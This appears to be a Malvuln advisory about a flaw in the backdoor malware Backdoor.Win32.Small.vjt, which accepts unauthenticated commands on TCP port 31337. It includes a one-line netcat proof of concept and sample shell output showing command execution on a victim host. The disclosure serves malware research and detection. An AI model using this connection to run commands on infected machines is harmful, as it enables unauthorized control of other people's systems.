Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/92ea873a2bbdaf0799d572bc4f30dc79.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Small.vjt Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP port 31337. Third-party attackers who can reach the system can execute OS commands or programs further compromising the already infected machine. Type: PE32 MD5: 92ea873a2bbdaf0799d572bc4f30dc79 Vuln ID: MVID-2021-0337 Disclosure: 09/06/2021 Exploit/PoC: nc64.exe x.x.x.x 31337 Basic Backdoor - Written by White Scorpion (C) 2005 ******* http://www.white-scorpion.nl ******** Close CommandPrompt with 'exit' <enter>. calc Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. c:\>whoami whoami desktop-2c3iqho\victim Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).